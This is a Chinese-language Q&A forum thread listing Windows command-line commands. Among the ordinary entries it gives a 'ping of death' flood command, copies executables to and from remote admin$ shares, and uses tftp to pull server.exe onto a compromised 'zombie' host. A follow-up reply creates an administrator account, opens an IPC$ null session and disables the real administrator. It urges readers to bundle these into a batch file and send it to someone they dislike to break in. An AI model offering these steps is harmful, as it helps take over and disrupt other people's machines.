這是最常用的ping ip(或域名) 向對方主機發送默認大小為32字節的數據，參數：“-l[空格]數據包大小”；“-n發送數據次數”；“-t”指一直ping。 ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping) ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用參數“/all”顯示全部配置信息 tlist -t 以樹行列表顯示進程(為係統的附加工具，默認是沒有安裝的，在安裝目錄的Support/tools文件夾內) kill -F 進程名 加-F參數後強製結束某進程(為係統的附加工具，默認是沒有安裝的，在安裝目錄的Support/tools文件夾內) del -F 文件名 加-F參數後就可刪除隻讀文件,/AR、/AH、/AS、/AA分別表示刪除隻讀、隱藏、係統、存檔文件，/A-R、/A-H、/A-S、/A-A表示刪除除隻讀、隱藏、係統、存檔以外的文件。例如“DEL/AR *.*”表示刪除當前目錄下所有隻讀文件，“DEL/A-S *.*”表示刪除當前目錄下除係統文件以外的所有文件 del /S /Q 目錄 或用：rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的係統確認就直接刪除。（二個命令作用相同） move 盤符路徑要移動的文件名 存放移動文件的路徑移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋 fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中，"> "和"> >" 是重定向命令 at id號 開啟已注冊的某個計劃任務 at /delete 停止所有計劃任務，用參數/yes則不需要確認就直接停止 at id號 /delete 停止某個已注冊的計劃任務 at 查看所有的計劃任務 at ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機 finger username @host 查看最近有哪些用戶登陸 telnet ip 端口 遠和登陸服務器,默認端口為23 open ip 連接到IP（屬telnet登陸後的命令） telnet 在本機上直接鍵入telnet 將進入本機的telnet copy 路徑文件名1 路徑文件名2 /y 複製文件1到指定的目錄為文件2，用參數/y就同時取消確認你要改寫一份現存目錄文件 copy c:srv.exe ipadmin$ 複製本地c:srv.exe到對方的admin下 copy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件頭要空三排，參數：/b指二進製文件，/a指ASCLL格式文件 copy ipadmin$svv.exe c: 或:copyipadmin$*.* 複製對方admini$共享下的srv.exe文件（所有文件）至本地C： xcopy 要複製的文件或目錄樹 目標地址目錄名 複製文件和目錄樹，用參數/Y將不提示覆蓋相同文件 用參數/e才可連目錄下的子目錄一起複製到目標地址下。 tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:server.exe 登陸後，將“IP”的server.exe下載到目標主機c:server.exe 參數：-i指以二進製模式傳送，如傳送exe文件時用，如不加-i 則以ASCII模式（傳送文本文件模式）進行傳送 tftp -i 對方IP put c:server.exe 登陸後，上傳本地c:server.exe至主機 ftp ip 端口 用於上傳文件至服務器或進行文件操作，默認端口為21。bin指用二進製方式傳送（可執行文件進）；默認為ASCII格式傳送(文本文件時) route print 顯示出IP路由，將主要顯示網絡地址Network addres，子網掩碼Netmask，網關地址Gateway addres，接口地址Interface arp 查看和處理ARP緩存，ARP是名字解析的意思，負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息 start 程序名或命令 /max 或/min 新開一個新窗口並最大化（最小化）運行某程序或命令 mem 查看cpu使用情況 attrib 文件名(目錄名) 查看某文件（目錄）的屬性 attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔，隻讀，係統，隱藏 屬性；用+則是添加為某屬性 dir 查看文件，參數：/Q顯示文件及目錄屬係統哪個用戶，/T:C顯示文件創建時間，/T:A顯示文件上次被訪問時間，/T:W上次被修改時間 date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”將隻顯示當前日期和時間，而不必輸入新日期和時間 set 指定環境變量名稱=要指派給變量的字符 設置環境變量 set 顯示當前所有的環境變量 set p(或其它字符) 顯示出當前以字符p(或其它字符)開頭的所有環境變量 pause 暫停批處理程序，並顯示出：請按任意鍵繼續.... if 在批處理程序中執行條件處理（更多說明見if命令及變量） goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行（標簽必須單獨一行，且以冒號打頭，例如：“：start”標簽） call 路徑批處理文件名 從批處理程序中調用另一個批處理程序 （更多說明見call /?） for 對一組文件中的每一個文件執行某個特定命令（更多說明見for命令及變量） echo on或off 打開或關閉echo，僅用echo不加參數則顯示當前echo設置 echo 信息 在屏幕上顯示出信息 echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中 findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello find 文件名 查找某文件 title 標題名字 更改CMD窗口標題名字 color 顏色值 設置cmd控製台前景和背景顏色；0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白 prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統一改為：EntSky ) ver 在DOS窗口下顯示版本信息 winver 彈出一個窗口顯示版本信息（內存大小、係統版本、補丁版本、計算機名） format 盤符 /FS:類型 格式化磁盤,類型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS md 目錄名 創建目錄 replace 源文件 要替換文件的目錄 替換文件 ren 原文件名 新文件名 重命名文件名 tree 以樹形結構顯示出目錄，用參數-f 將列出第個文件夾中文件名稱 type 文件名 顯示文本文件的內容 more 文件名 逐屏顯示輸出文件 doskey 要鎖定的命令=字符 doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行，重新調用win2k命令，並創建宏)。如：鎖定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解鎖：doskey dir= taskmgr 調出任務管理器 chkdsk /F D: 檢查磁盤D並顯示狀態報告；加參數/f並修複磁盤上的錯誤 tlntadmn telnt服務admn,鍵入tlntadmn選擇3，再選擇8,就可以更改telnet服務默認端口23為其它任何端口 exit 退出cmd.exe程序或目前，用參數/B則是退出當前批處理腳本而不是cmd.exe path 路徑可執行文件的文件名 為可執行文件設置一個路徑。 cmd 啟動一個win2K命令解釋窗口。參數：/eff、/en 關閉、開啟命令擴展；更我詳細說明見cmd /? regedit /s 注冊表文件名 導入注冊表；參數/S指安靜模式導入，無任何提示； regedit /e 注冊表文件名 導出注冊表 cacls 文件名 參數 顯示或修改文件訪問控製列表（ACL）——針對NTFS格式時。參數：/D 用戶名:設定拒絕某用戶訪問；/P 用戶名:perm 替換指定用戶的訪問權限；/G 用戶名:perm 賦予指定用戶訪問權限；Perm 可以是: N 無，R 讀取， W 寫入， C 更改(寫入)，F 完全控製；例：cacls D: est.txt /D pub 設定d: est.txt拒絕pub用戶訪問。 cacls 文件名 查看文件的訪問用戶權限列表 REM 文本內容 在批處理文件中添加注解 netsh 查看或更改本地網絡配置情況注：此答案來自bavjiqpl
額，樓下回答好全麵，我補充一點哈net命令 net user www /add 添加一個名為www的用戶net localgroup administrators www /add將你添加的www用戶加到管理員組 net use \\192.###\ipc$ "" /user:administrator\www 用你添加的www用戶與IP為:192.### 名字為administrator的用戶建立一個空連接(###是部分省略的IP)net user administrator /active:no 禁用名為administrator的用戶no變為yes即為啟用將上麵的命令放在一個批處理文件內（即後綴名為.bat）發給你討厭的人就可已侵入（注：要在對方沒有開防火牆的前提下）如要繞過防火牆可能就會需要一些C++ VB VS 的編程了
望采納
